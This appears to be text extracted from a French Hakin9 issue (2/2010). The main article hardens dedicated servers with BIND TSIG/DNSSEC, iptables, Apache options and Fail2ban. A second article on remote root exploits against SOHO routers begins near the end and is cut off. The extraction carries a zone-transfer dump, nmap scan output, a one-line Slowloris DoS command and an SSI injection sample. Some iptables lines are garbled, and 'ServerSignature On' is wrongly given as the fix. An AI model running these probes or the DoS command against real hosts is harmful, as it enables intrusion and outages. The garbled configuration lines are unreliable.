20 HAKIN9 2/2010

DOSSIER SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

21 HAKIN9 2/2010

snooping . Nous pouvons donc restreindre les requêtes récursives et non-récursives dans une liste d'accès appelée « trusted » comme indiqué dans le Listing 5.

Cette configuration aura pour effet de ne retourner aucun résultat comme souhaité.

DNS et Encryption : TSIG et DNSSECPour résoudre les problèmes liés hijacking, poisoning et la sécurité des transferts de zones, nous allons voir comment signer

les messages DNS avec une empreinte numérique calculée à l'aide d'une clé secrète partagée entre l'émetteur et de récepteur (voir Figure 1).

Pour le TSIG, nous générerons en exemple une clé tsigkey-opidah.com associée au domaine opidah.com :

wwitb~# dnssec-keygen -a HMAC-MD5 -b 512 -n HOST tsikey-opidah.com.

La génération engendre deux fichiers :

• Ktsikey-opidah.com.+157+43377.key• Ktsikey-opidah.com.+157+43377.private

Nous pouvons maintenant spécifier la clé générée à notre fichier de configuration named.conf :

key tsikey-opidah.com. {

algorithm hmac-md5;

secret ''lHctNAZhIlqyekBbIk99

jghEJg60syXJFAtkBeDOJMNZVP

eEwM8LtRUr OI6n5Ta2OgmiX1/

eyWB6EcbglnF5iQ=='';

}

Puis nous appliquerons la signature des DNS pour un serveur spécifique :

server 192.168.1.7 {

keys { tsikey-opidah.com.;

};

}

zone ''opidah.com'' {

type master;

file ''/var/cache/bind/

opidah.com.hosts'';

allow-query { any; };

allow-transfer { key tsikey-

opidah.com.,; };

}

La communication entre le serveur primaire et secondaire est maintenant vérifiable à travers leurs signatures. Le TSIG est très simple à mettre en place, mais présente quelques désavantages : il faut distribuer les clés parmi les serveurs, il n'y a pas de niveau d'autorité et donc cette technique n'est pas aussi flexible que du cryptage asymétrique.

Pour palier ce problème, le protocole DNSSEC a été proposé. Ce protocole utilise le cryptage en clé publique pour la signature des fichiers de zone.

Pour le DNSSEC, nous pouvons utiliser une commande similaire comme pour le TSIG. Nous allons donc générer une clé DSA de 1024 bits :

wwitb~# dnssec-keygen -a DSA -b 1024

-n ZONE opidah.com.

Il faudra par la suite ajouter la ligne précisant le chemin de la clé $include /Users/

fluxius/Kopidah.com.+003+18366.key à la fin du fichier de configuration de zone. Puis, nous allons générer notre nouveau

Listing 2. WHOIS Protégé avec WhoisGuard

Registrant Contact:

WhoisGuard

WhoisGuard Protected

[email protected]

+1.1256023578

Fax: +1.1256023578

11400 W. Olympic Blvd. Suite 200

Los Angeles, CA 90064

US

Listing 3. Transfert de zone

wwitb~# nslookup

> ls -d opihad.net

[ns3.opidah.com]

$ORIGIN opidah.com.

@ IN SOA ns2.opidah.com. master.opidah.com. (

1105498423

10800

3600

604800

38400 )

opidah.com. IN NS ns1.opidah.com.

opidah.com. IN NS ns2.opidah.com.

opidah.com. IN NS ns3.opidah.com.

opidah.com. IN A 11.22.33.44

www.opidah.com. IN CNAME opidah.com

dev.opidah.com. IN CNAME opidah.com

smtp.opidah.com. IN A 22.33.44.55

ftp.opidah.com. IN CNAME opidah.com

mail.opidah.com. IN A 22.33.44.55

monsite.com. IN MX 10 mail.opidah.com.

ns1.monsite.com. IN A 11.22.33.44

Listing 4. Restriction des transferts de zone avec Bind

# /etc/bind/named.conf

acl ''tpeux'' {

192.168.1.0/24;

172.15.0.0/16;

}

options {

allow-transfer { tpeux; };

}

Page 21: hakin9_2_2010_FR

20 HAKIN9 2/2010

DOSSIER SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

21 HAKIN9 2/2010

fichier de zone avec les empreintes (Voir résultat en listing 6.) :

wwitb~# dnssec-signzone -o opidah.com

db.opidah.com

Informations sur les services

Énumération et fingerprinting L'énumération permet à l'attaquant de découvrir les services qui tournent sur un serveur et qui sont accessibles en public. Ce genre d'informations sont principalement collectées par un scan de ports, permettant à l'attaquant en question de voir quelles attaques peuvent être réalisées contre une organisation par exemple.

Le fingerprinting est une étape importante car l'attaquant a besoin d'informations sur les services et modules utilisés sur le serveur cible. Cette étape est suivie, en général, d'une recherche de failles potentielles en utilisant des exploits référencés ou en cherchant soit-même les failles.

L'outil Nmap, comme nous le voyons sur le Listing 7, nous permet d'énumérer tout en capturant les bannières.

Après ce scan , nous pouvons inventorier ces informations en dressant un tableau de services (Tableau 3) :

Il ne faut pas oublier aussi de noter le système utilisé qui n'est autre que Debian avec une version de noyau comprise entre Linux 2.6.13 et 2.6.27. Nous observons, en revanche, qu'il manque des informations concernant l'accès FTP. Donc, nous allons remplacer ce « ? » en faisant une capture de bannière sous telnet en s'identifiant comme utilisateur Anonymous :

220 ProFTPD 1.3.0 Server (Debian) [::

ffff:11.22.33.44]

USER Anonymous

500 USER not understood

USER root

331 Password required for root.

root

500 ROOT not understood

Puisque l'accès est protégé, l'attaquant ne pourra pas compter sur l'utilisateur

Anonymous pour avoir ne serait-ce qu'un petit accès au serveur avec ftp.

Le service présent sur le port 8080 semble très intéressant : c'est un accès protégé au routeur. Cependant, la protection en question est très faible car si nous lancions une attaque par Bruteforce, il ne tiendra qu'à la faible robustesse du mot de passe pour que l'attaquant puisse y avoir accès rapidement. A savoir que si l'attaquant en question à un accès au routeur, il pourra injecter son propre firmware pour espionner les communications qui transitent à travers le routeur (voir Figure 2).

La phase d'énumération et de fingerprinting contribue largement à l'identification des vecteurs d'attaque

potentiels. En effet, nous sommes partis d'une simple adresse pour avoir son adresse IP, les serveurs DNS associant chaque entrée à une adresse IP et l'énumération avec fingerprinting nous permet de connaître les services utilisés en nous aidant à affiner le domaine de recherche des vulnérabilités.

Prévenir contre l'énumération et le fingerprintingL'énumération est une étape assez dangereuse car l'attaquant saura où et comment attaquer grâce aux traces laissées par ces services. Bloquer les ports qui ne nous sont pas utiles en extérieur est la première chose à faire avant de mettre

Pour plus de sécuritéIl est préférable de poser des conditions supplémentaires concernant l'accès au protocole SSH. En effet, plus nous isolerons les services ne regardant pas les autres usagers, moins nous aurons à faire dans le cadre de la maintenance de notre serveur.

Seules sont acceptées ici les connexions au protocole SSH provenant d'une adresse spécifique :

wwitb~# iptables -A INPUT -p tcp -s <IP de Management> --dport 22 -m state --

state ESTABLISHED -j

wwitb~# iptables -t filter -A OUTPUT -p tcp -s <IP de Management> --dport 22 -m

state --state NEW, ESTABLISHED -j ACCEPT ACCEPT

Il sera toutefois recommandé d'utiliser le firewall côté routeur de base en plus pour assurer un filtrage par défaut.

Listing 5. Restriction des requêtes DNS

# /etc/bind/named.conf.local

...

acl ''trusted'' {

192.168.1.0/24;

''Liste d'IPs'';

}

options {

allow-transfer { tpeux; };

allow-recursion { trusted; };

allow-query { trusted; }

version ''What What!'';

}

zone ''opidah.com'' {

type master;

file "/var/cache/bind/opidah.com.hosts";

allow-query { any; };

}

Page 22: hakin9_2_2010_FR

22 HAKIN9 2/2010

DOSSIER SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

23 HAKIN9 2/2010

un serveur en ligne. C'est ce que nous verrons avec IPTables/NetFilter.

IPTables/NetFilterNous avons ici un firewall intégré en natif à Linux à partir du noyau 2.4 mais encore très

peu utilisé. Dans notre cas, nous aurons seulement besoin des services HTTP, FTP, SSH, c'est-à-dire ouvrir les connexions entrantes des ports 80 (ou 8080), 21 et 22.

Tout d'abord, il nous faudra réinitialiser les IPTables actuelles :

wwitb~# iptables -t filter -F

wwitb~# iptables -t filter

-X

Ensuite, nous fermerons toutes les connexions entrantes et sortantes :

Listing 6. Fichier zone signé

opidah.com. 38400 IN SOA ns1.opidah.com.

master.opidah.com. (

1105498423 ; serial

10800 ; refresh (3 hours)

3600 ; retry (1 hour)

604800 ; expire (1 week)

38400 ; minimum (10 hours 40 minutes)

)

38400 RRSIG SOA 3 2 38400 20100121002739 (

20091222002739 18366 opidah.com.

CBCh4i2hJ4MEBZOwnrTbBH8qhfmIL0hgXxcS

Npzhe2NWVViP/EnW38Y= )

38400 NS ns1.opidah.com.

38400 NS ns2.opidah.com.

38400 NS ns3.opidah.com.

38400 RRSIG NS 3 2 38400 20100121002739 (

20091222002739 18366 opidah.com.

CILFAkABqfTKR3TfcLlPhm1tojcXXB4JGs4K

ZQNlaz6gBW2O108DOac= )

38400 A 11.22.33.44

38400 RRSIG A 3 2 38400 20100121002739 (

20091222002739 18366 opidah.com.

CfcIN53KXkgxVCXxw+VrmRCMyJxwdX6itb8E

ODbUBJ/i0L+CUFHZSRE= )

38400 MX 10 mail.opidah.com.

38400 RRSIG MX 3 2 38400 20100121002739 (

20091222002739 18366 opidah.com.

CCQaBt4tB4T88p1Sh3VuLWuK/3ZDKdSBlCa/

vKhnazXpM4lBzCeqhzY= )

38400 NSEC dev.opidah.com. A NS SOA MX RRSIG

NSEC DNSKEY

38400 RRSIG NSEC 3 2 38400 20100121002739 (

20091222002739 18366 opidah.com.

CfiwxrDyo07TQ7xLapZFjj7YEY1smU4z1YDY

GB052jlEa+0AmSgLvJc= )

38400 DNSKEY 256 3 3 (

Ckvc1reoYB/b0AB5qZIbQOLU1fBJn+gDVEXJ

YXHZnsJ0O5Z92IMYFEP83UtpF+IuQAZ8F/jf

mh1Px0GFLZ9b0/Ba09FAPvwbRGvZ55Eg5JEG

z3E04k+sNPoQb6THSIQB3rx2xKorOi1iLKdY

7DlXyRyhnl7EHbwA1Q9z+ZPtzsRLkB5LRSOm

A4nTk5Cl+IrdSuovsUciMt+wKerR7fDekONY

sIIOqjkfkujJ/kYx7ZA2HFh/YmrM0c1Uul8K

+49DY94HbP9ftr+xWvNCXxpxOHIwWNE4toYT

pAzRRi+0A8NhDCkulkGQOZR5Tnim+Uwymi+i

sIn7IsYfGlfkyiQABQMFDpZZALbpcCrxf8PW

Fmb6QB1O6Qqvj8kIR5fXiIBczQJc7BpLkftD VSCqIhFFns8wRPiVywHlaPs4ZkXWiEZk8Yxo

UgzZFNZ93EnSAyCmJm0gPoyI5zc6t/8DhCMc

mUiYIxMGnLClTP/0Q3VfVmTSMiNMUjcd+R3R

8rOYTmNRUOKJPJxvNkvOEZ0Q5goa+YhVFFhV

) ; key id = 18366

38400 RRSIG DNSKEY 3 2 38400 20100121002739 (

20091222002739 18366 opidah.com.

CFRmf5NRxWnmuwMXdFNc0H7M8qCRNW3yWzAZ

cOfjWoudoHDcAcKL8G4= )

dev.opidah.com. 38400 IN CNAME opidah.com.opidah.com.

38400 RRSIG CNAME 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CJCfh1wsCccZNLnepysi94Ab5nThE3LqFioS

MQ1/oerKg/u7UUpJlFg= )

38400 NSEC ftp.opidah.com. CNAME RRSIG NSEC

38400 RRSIG NSEC 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CHHwZ6uk+s8dCIQgVLfbUelUCFPVSoPWBYFF

OuOWQIo4L8lW3LFozVA= )

ftp.opidah.com. 38400 IN CNAME opidah.com.opidah.com.

38400 RRSIG CNAME 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CcwyPPjuXz0NUlfQkKfHNgexsMK5F2AeEVLC

849Sph291NDw9Ny8Xww= )

38400 NSEC mail.opidah.com. CNAME RRSIG NSEC

38400 RRSIG NSEC 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CF3+skOwfVhvuj+OTNwXxSlMzDullcLvG/fh

pZsjNAbktPp4RKixItQ= )

mail.opidah.com. 38400 IN A 22.33.44.55

38400 RRSIG A 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CCIZh1AChDwB2uc+HFU+D2Fnt/ElD02Y/igJ

T7NHjfqAtpJVJg4NUc4= )

38400 NSEC ns1.opidah.com. A RRSIG NSEC

38400 RRSIG NSEC 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

ChnFhbXeK8/5m22yU9nboH3uD5TnnA5zI1Wl

KAaqgsalPIn8dMbIFV8= )

ns1.opidah.com. 38400 IN A 11.22.33.44

38400 RRSIG A 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

Chw+NpxFjNVM/GuzXMHSJY9yTfEakW6AuauZ

/AV3A090nyNAQoU+x1I= )

38400 NSEC smtp.opidah.com. A RRSIG NSEC

38400 RRSIG NSEC 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

ChiaNeMbcHZcL6llahVvMCrLscP3RcddFaAx

FhWmbAguq78w8fvk95o= )

smtp.opidah.com. 38400 IN A 22.33.44.55

38400 RRSIG A 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CJXouL8pfBwp8jDXWWDa0SWmPHmDNkeSpXxt

Nzovv6uEpzNtkQbE5fc= )

38400 NSEC www.opidah.com. A RRSIG NSEC

38400 RRSIG NSEC 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CJKCaWC1TQxnQojF7Bf/MhPn6aDBGamrbZ2T

kCBFMr5JdjGcIvfI4KI= )

www.opidah.com. 38400 IN CNAME opidah.com.opidah.com.

38400 RRSIG CNAME 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CBYB8UZtCN/VHz5IXQRFAHhG/VALpAX/lmjq

pHoZ8Rj5ZkbDXuqnh00= )

38400 NSEC opidah.com. CNAME RRSIG NSEC

38400 RRSIG NSEC 3 3 38400 20100121002739 (

20091222002739 18366 opidah.com.

CbjbHO20U8z4fSHSCqYjpN2y54ajZcDBqBcP

0bXmfXtgWjmSdiHfnMc= )

Page 23: hakin9_2_2010_FR

22 HAKIN9 2/2010

DOSSIER SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

23 HAKIN9 2/2010

wwitb~# iptables -t filter -P INPUT

DROP

wwitb~# iptables -t filter -P FORWARD

DROP

wwitb~# iptables -t filter -P OUTPUT

DROP

Maintenant, nous allons ouvrir les connexions entrantes et sortantes des services SSH, HTTP et FTP, avec bien évidement un suivi de connexion pour se protéger des scan à l'aide d'un port source précis (option -g nmap) :

wwitb~# iptables -t filter -A INPUT -p

tcp --dport 22 -m state --

state ESTABLISHED -j ACCEPT

wwitb~# iptables -t filter -A OUTPUT

-p tcp --dport 22 -m state

--state NEW, ESTABLISHED -j

ACCEPT

wwitb~# iptables -t filter -A INPUT -p

tcp --dport 80 -m state --

state ESTABLISHED -j ACCEPT

wwitb~# iptables -t filter -A OUTPUT

-p tcp --dport 80 -m state

--state NEW, ESTABLISHED -j

ACCEPT

wwitb~# iptables -t filter -A INPUT -p

tcp --dport 21 -m state --

state ESTABLISHED -j ACCEPT

wwitb~# iptables -t filter -A OUTPUT

-p tcp --dport 21 -m state

--state NEW, ESTABLISHED -j

ACCEPT

Notre politique de filtrage est très restrictive, le firewall bloque le protocole ICMP. Pour l'autoriser, il nous faut ajouter ces deux lignes :

wwitb~# iptables -A OUTPUT -p icmp -j

ACCEPT

wwitb~# iptables-A INPUT -p icmp -j

ACCEPT

Pour s'assurer que tout ce qui n'est pas dans les critères est effectivement bloqué :

wwitb~# iptables -A INPUT -j DROP

wwitb~# iptables -A OUTPUT -j DROP

Le Signature ApacheApache à tendance à afficher beaucoup trop de choses pendant les messages d'erreurs dont le type de système d'exploitation, les modules installés et plein d'autres informations concernant les versions utilisées.

Mais, heureusement, il est possible de les enlever grâce à la directive

ServerSignature dans le fichier apache2.conf :

ServerSignature On

Le listing des répertoires et fichiersLe listage des fichiers et de répertoires est une fonctionnalité que l'attaquant utilise contre nous, en voyageant dans les dossiers que nous aimerions tenir à l'égard des regards indiscrets. Pour le désactiver, il nous faudra configurer la directive Options comme suit apache2.conf :

Options -Indexes

Les liens symboliquesIl est nécessaire aussi que l'attaquant ne puisse pas suivre les liens symboliques de fichiers sensibles comme /etc/shadow (contenant les mots de passes de la machine) et /etc/passwd :

Options -FollowSymLinks

Le Server-Side includes injectionAfin d'éviter les vulnérabilités de type Server-Side injection, comme par exemple <!--#exec cmd="ls"-->, nous ajouterons un tag supplémentaire à notre directive Options :

Tableau 1. Services opidah.com

Ports Services Versions et modules Autres informations

443 open_ssl + httpd Linksys WRT54G wireless-G router http config

Service https demandant une authentification ldap/htaccess

111 rpcbind | 100000 2 111/udp rpcbind| 100024 1 32769/udp status| 100000 2 111/tcp rpcbind|_ 100024 1 36381/tcp status

8080 open_ssl + httpd Linksys WRT54G wireless-G router http config

Service https demandant une authentification ldap/htaccess

22 ssh OpenSSH 4.3p2 Debian 9etch3 (protocol 2.0)

ssh-hostkey: 1024 4c:e2:5f:86:e4:d0:c9:0d:45:6a:95:01:96:6c:f f:cc (DSA)|_ 2048 cc:1f:19:f1:2c:741:55:0f:45:7e:0a:02:cc:ed:b6:c1 (RSA)

21 ftp ProFTPD 1.3.0 ?

80 Apache Apache httpd 2.2.3 ((Debian) DAV/2 SVN/1.4.2 PHP/5.2.8-0.dotdeb.1 with Suhosin-Patch)

Accès public : html-title: Opidah – Super Service

143 imap Courier Imapd (released 2005) imap-capabilities: THREAD=ORDEREDSUBJECT QUOTA THREAD=REFERENCES UIDPLUS ACL2=UNION SORT ACL IMAP4rev1 IDLE NAMESPACE CHILDREN

Page 24: hakin9_2_2010_FR

24 HAKIN9 2/2010

DOSSIER SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

25 HAKIN9 2/2010

Options -Indexes -Includes

Éviter les attaques de type Denial of Services sur ApacheLimiter le temps mort et les requêtes permet d'éviter les attaques de Type DoS (Denial of Service). L'idée d'une telle protection est de laisser le moins d'espace aux attaquants comme suit :

Timeout 30

LimitRequestBody 524288

LimitRequestFields 20

LimitRequestFieldSize 8190

LimitRequestLine 8190

Bien plus que le SYN Flooding, le Ping of Death, Teardrop, Ping Flooding, Amplification Attack, etc. .. il existe des scripts tout comme Slowloris (http://ha.ckers.org/slowloris/ ) mettant en évidence les attaques DoS rendant certains services inaccessibles. Cependant, il existe une solution ç des attaques de ce type comme HTTPReady.

Exécution d'une attaque Slowloris :

perl slowloris.pl -dns example.com

PHP : Affichage des erreursLes utilisateurs n'ont pas souvent conscience qu'afficher les erreurs est très dangereux, surtout quand elles renseignent parfaitement sur la nature d'une erreur de compilation, du fichier contenant l'erreur et de son chemin.

En ef fet en identifiant l'erreur, l'at taquant pourra alors savoir quel type d'attaque utiliser : Failles Include ou SQL Injection .

Pour ce faire, évitez d'afficher les erreurs en modifiant le fichier php.ini comme ceci : display _ errors Off

Vous laisserez donc les développeurs s'occuper d'une partie développement pour chaque script avec l'affichage des erreurs comme dans le Listing 8.

Éviter les attaques Bruteforce avec Fail2banFail2ban est un script qui surveille les accès réseau à l'aide des logs du serveur. Un utilisateur tentant de se connecter, selon un nombre de fois qui peut être limité, est banni durant une certaine période.

Listing 7. Scan et fingerprinting de opidah.com

wwitb~# nmap -vA opidah.com

Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-22 12:34 Paris, Madrid

NSE: Loaded 30 scripts for scanning.Initiating ARP Ping Scan at 12:34

Scanning opidah.com [1 port]

Completed ARP Ping Scan at 12:34, 0.33s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 12:34

Completed Parallel DNS resolution of 1 host. at 12:34, 0.03s elapsed

Initiating SYN Stealth Scan at 12:34

Scanning opidah.com [1000 ports]

Discovered open port 111/tcp on opidah.com

Discovered open port 113/tcp on opidah.com

Discovered open port 21/tcp on opidah.com

Discovered open port 22/tcp on opidah.com

Discovered open port 143/tcp on opidah.com

Discovered open port 80/tcp on opidah.com

Completed SYN Stealth Scan at 12:34, 0.03s elapsed (1000 total ports)

Initiating Service scan at 12:34

Scanning 7 services on opidah.com

Completed Service scan at 12:34, 6.05s elapsed (7 services on 1 host)

Initiating OS detection (try #1) against opidah.comNSE: Script scanning opidah.com.

NSE: Starting runlevel 1 scan

Initiating NSE at 12:34

Completed NSE at 12:35, 6.11s elapsed

NSE: Script Scanning completed.Host opidah.com is up (0.00s latency).

Interesting ports on opidah.com:

Not shown: 993 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.0

22/tcp open ssh OpenSSH 4.3p2 Debian 9etch3 (protocol 2.0)

| ssh-hostkey: 1024 4c:e2:5f:86:e4:d0:c9:0d:45:6a:95:01:96:6c:ff:cc (DSA)

|_ 2048 cc:1f:19:f1:2c:741:55:0f:45:7e:0a:02:cc:ed:b6:c1 (RSA)

80/tcp open http Apache httpd 2.2.3 ((Debian) DAV/2 SVN/1.4.2 PHP/5.2.8-

0.dotdeb.1 with Suhosin-Patch)|_ html-title: Opidah - Super Service

111/tcp open rpcbind

| rpcinfo:

| 100000 2 111/udp rpcbind

| 100024 1 32769/udp status

| 100000 2 111/tcp rpcbind

|_ 100024 1 36381/tcp status

113/tcp open ident

143/tcp open imap Courier Imapd (released 2005)

|_ imap-capabilities: THREAD=ORDEREDSUBJECT QUOTA THREAD=REFERENCES UIDPLUS

ACL2=UNION SORT ACL IMAP4rev1 IDLE NAMESPACE CHILDREN

MAC Address: 00:11:D8:22:11:00 (Asustek Computer)

Device type: general purpose

Running: Linux 2.6.X

OS details: Linux 2.6.13 - 2.6.27

Uptime guess: 82.077 days (since Thu Oct 01 11:44:43 2009)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=205 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: OSs: Unix, Linux

Listing 8. Affichage des erreurs avec PHP

<?php

error_reporting(E_ALL);

ini_set("display_errors", 1);

...

?>

Page 25: hakin9_2_2010_FR

24 HAKIN9 2/2010

DOSSIER SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

25 HAKIN9 2/2010

http://www.fail2ban.org/wiki/index.php/Main_Page

Nous configurons dans le fichier jail.conf les services à monitorer :

ignoreip = 127.0.0.1 ; liste des

adresses IP de confiance à

ignorer par fail2ban

bantime = 600 ; temps de ban en

secondes

maxretry = 3 ; nombre d'essais

autorisés pour une

connexion avant d'être

banni

destmail [email protected] ; adresse

e-mail destinataire des

notifications

...

Détection des RootkitsPour la détection de Rootkits, nous pourrons utiliser Rkhunter qui est un anti-Rootkit calculant les empreintes MD5 des programmes afin de détecter les changements chaque jour :

http://rkhunter.sourceforge.net/

ConclusionLes serveurs dédiés ne sont pas à l'abri des attaques. Et même si ces règles devraient être appliquées pour chaque poste, les serveurs sont les plus vulnérables car exposés 24h/24, tout peut arriver. En effet, l'attaquant aura le temps de prendre un maximum d'informations pour envisager une attaque ciblée.

Nous n'avons vu qu'une petite partie des attaques variant selon la spécialité de l'utilisateur malveillant et il faut penser à voir le système dans son ensemble. Pensez donc à faire des veilles technologiques, mises à jour des services et avoir d'autres opinions quant à la sécurité de votre serveur.

Figure 2. Demande d'identification du routeur

À propos de l'auteurÉtudiant ingénieur en électronique, informatique et management à l'école EFREI, Sébastien Dudek travaille depuis plus de 10 ans dans le domaine de l'informatique dont presque 6 ans dans la sécurité de l'information. Il s'intéresse plus particulièrement aux techniques d'intrusions, failles applicatives, Reversing, Tracking et effectue, ces derniers temps, des recherches dans le domaine Hertzien et la Cryptologie.Contact : [email protected]

Veille technologique sur ses servicesLa veille technologique est une tâche très importante car elle permet de détecter une vulnérabilité avant quelle puisse avoir une conséquence sur notre système.

Pour cela, consultez toutes les sources concernant les services que vous utilisez (blogs, forums, newsgroups , Flux RSS, Sites, …). N'hésitez pas à faire des audits et à utiliser des programmes comme Nessus à la recherche de vulnérabilités même si ce type de programme ne référence pas plus de 40% des failles connues. De plus, n'oubliez pas la lecture des logs de chacun de vos services et à mettre régulièrement à jour vos services.

Voici quelques sites fréquemment actualisés référençant des sources d'exploits :

• http://www.milw0rm.com• http://www.securityfocus.com• http://www.zerodayinitiative.com• http://labs.idefense.com/• http://www.packetstormsecurity.org/

Sur Internet• http://www.modsecurity.org/documentation/modsecurity-apache/2.5.11/html-multipage/

– ModSecurity,• http://whois.domaintools.com/ – Whois domain Online Tools,• http://www.bind9.net/manuals – Manuel d'utilisation Bin9,• http://linux.die.net/man/1/dig – Manuel DNS lookup Linux,• http://www.alsacreations.com/tuto/lire/622-Securite-firewall-iptables.html – Securiser son

serveur avec IPTables/Netfilter, Fail2Ban et Rkhunter,• http://www.gelato.unsw.edu.au/lxr/source/net/ipv4/tcp_ipv4.c – Source du TCP/IPv4 Linux,• https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-pilosov-kapela.pdf

– Stealing The Internet : Documentation extra sur le MITM.

Page 26: hakin9_2_2010_FR

26 HAKIN9 2/2010

DOSSIER

27 HAKIN9

ROOT DISTANT SUR UN PÉRIPHÉRIQUE RÉSEAU

2/2010

DOSSIER

Depuis un certain temps, émerge sur le marché une tendance consistant à créer des périphériques réseau selon le

schéma suivant :

• utiliser un système d'exploitation gratuit (par exemple, Linux/FreeBSD),

• utiliser le logiciel open source qui garantit des fonctionnalités appropriées pour l'ordinateur en question (par exemple, dans le cas du routeur de la classe SOHO, il peut s'agir de : iptables, dae-mon ppp, serveur SNMP, serveur Web léger),

• configurer le système d'exploitation/ le logiciel supplémentaire pour le matériel donné et pour les pré-requis fonctionnels concrets du péri-phérique.

Bref, sont utilisées les riches fonctionnalités pro-posées par les logiciels open source en réduisant considérablement les coûts. Comment économi-ser ? Un logiciel open source bien choisi :

• garantit de riches fonctionnalités,• est stable et bien testé sur des plates-formes

matérielles dif férentes et dans les configura-tions dif férentes,

• est sûr (y compris le support assuré par les concepteurs).

Créer un logiciel pour supporter un pare-feu ou autre périphériques réseau depuis les bases prendrait énormément de temps (et d'argent, si

MICHAŁ SAJDAK

CET ARTICLE EXPLIQUEcomment accéder à distance au compte root dans un système d'exploitation sur le routeur de la classe SOHO (en anglais Small Office/Home Office),

comment se protéger contre l'at-taque de ce type,

d'autres exemples d'attaques qui peuvent être effectuées sur les périphériques réseau.

CE QU'IL FAUT SAVOIRles aspects de base liés à la sé-curité des applications,

bcomment utiliser une console Web de gestion sur les périphé-riques réseau.

nous le regardons du point de vue de fabricant). Et comme nous avons démontré ci-dessus (les fonctionnalités proposées par les logiciels open source), ce serait inutile dans de nombreux cas.

Remarquez toutefois un défaut masqué d'une telle approche. En combinant en quelque sorte le logiciel open source à partir des sources dif féren-tes, nous pouvons perdre le contrôle de la sécurité du système. N'oubliez pas que tout composant uti-lisé évolue dans le temps. À titre d'exemple :

• les nouvelles erreurs sont détectées,• les nouvelles versions du composant sont

publiées et contiennent des fonctionnalités supplémentaires (point potentiellement sus-ceptible),

• une nouvelle ligne du composant est publiée : elle n'est pas forcément complètement com-patible à la précédente et avec le temps, les concepteurs ne corrigent les erreurs que dans la nouvelle ligne.

Ce type de propriétés fait qu'un contrôle précis de la sécurité du système devient un grand défi

Observons comment il en est en pratique. Nous prenons comme premier exemple l'un des produits phares de Cisco, périphérique ASA (Adaptive Security Appliance), combinant les fonctionnalités d'un pare-feu, d'un VPN et du système IPS (Intrusion Prevention System). Cette machine se sert depuis peu du système d'exploitation Linux et de toute une série des logiciels open source supplémentaires.

Degré de difficulté

Root distant sur un périphérique réseauÊtes-vous sûr que votre réseau local n'est pas utilisé dans un bot-net ennemi ? Avez-vous déjà craint que votre routeur à domicile était un zombie contrôlé à distance ? Depuis peu, il est un fait avé-ré : les attaques de masse compromettant des dizaines de milliers de périphériques réseau de la classe SOHO.

Page 27: hakin9_2_2010_FR

26 HAKIN9 2/2010

DOSSIER

27 HAKIN9

ROOT DISTANT SUR UN PÉRIPHÉRIQUE RÉSEAU

2/2010

DOSSIERLe site Web de Cisco propose la liste complète des licences utilisées dans ASA, par exemple : Apache License, HSQLDB License, libxml2 License, Linux 2.6 License, zlib 1.2.2 License. La liste complète comprend une quarantaine de positions et le nombre de logiciels open source est sûrement plus élevé. Dans le cas de la bibliothèque zlib, le site du fabricant affiche le message suivant : Version 1.2.3 eliminates potential security vulnerabilities in zlib 1.2.1 and 1.2.2, so all users of those versions should upgrade immediately. ASA, est-il susceptible ? Difficile à dire : peut-être une autre version zlib est utilisée que celle indiquée dans les licences. Peut-être le fabricant a-t-il corrigé lui-même les failles de sécurité ou peut-être, même si la version susceptible de la bibliothèque est utilisée, ces erreurs ne sont-elles pas dangereuses sur ce périphérique ? Ce schéma démontre toutefois un chemin potentiel de démarches d'un intrus. Zlib est l'une des nombreuses bibliothèques open source utilisées dans ASA. Et ASA, c'est l'un des nombreux périphériques réseau.

Un autre exemple se trouve dans le document Analyzing Complex Systems The BlackBerry Case écrit par fx . Cette présentation analyse notamment les bi-bliothèques inactuelles (c'est-à-dire avec des erreurs de sécurité) : zlib et Graphics-Magick (qui supporte les opérations sur les fichiers graphiques). Grâce aux er-reurs dans cette dernière, il était possi-ble de prendre le contrôle sur BlackBerry Enterprise Serwer – en envoyant un fichier graphique spécialement généré sur un té-léphone BlackBerry.

Les exemples de ce type sont vrai-ment nombreux. Si ce point vous intéres-se, prenez connaissance du projet router hacking challenge organisé par gnuci-tizen ou du document appelé Universal Plug and Play – Dead simple or simply deadly? écrit par Armijn Hemel.

Dans la suite de l'article, nous nous concentrons sur les attaques relatives à des points faibles dans le composant spécifique du périphérique : le serveur http et la console de gestion qui y fonctionne. Nous indiquerons plus précisément deux modèles de routeurs de la classe SOHO où existe la possibilité d'appeler à distance de manière non autorisée la

commande du système d'exploitation (en tant que root) depuis cette console.

Web Management et la sécurité du périphériqueUn nombre de plus en plus grand de périphériques réseau permet de gérer complètement l'ordinateur via le navigateur Internet. Nous pouvons dire qu'il s'agit d'une fonctionnalité qui doit tout simplement être disponible sur l'ordinateur de ce type (doit-elle vraiment ?). N'oublions pas que ce type de fonctionnalité crée des problèmes côté sécurité. L'intrus peut en effet essayer :

• d'attaquer le serveur Web (par exem-ple, en utilisant un support incorrect du protocole http),

• d'attaquer l'application qui fonctionne sur le serveur Web (nous présente-rons un exemple de ce type dans la suite de l'article),

• d'attaquer la configuration du com-posant (à titre d'exemple, une authen-tification et une autorisation des utilisateurs mal configurées).

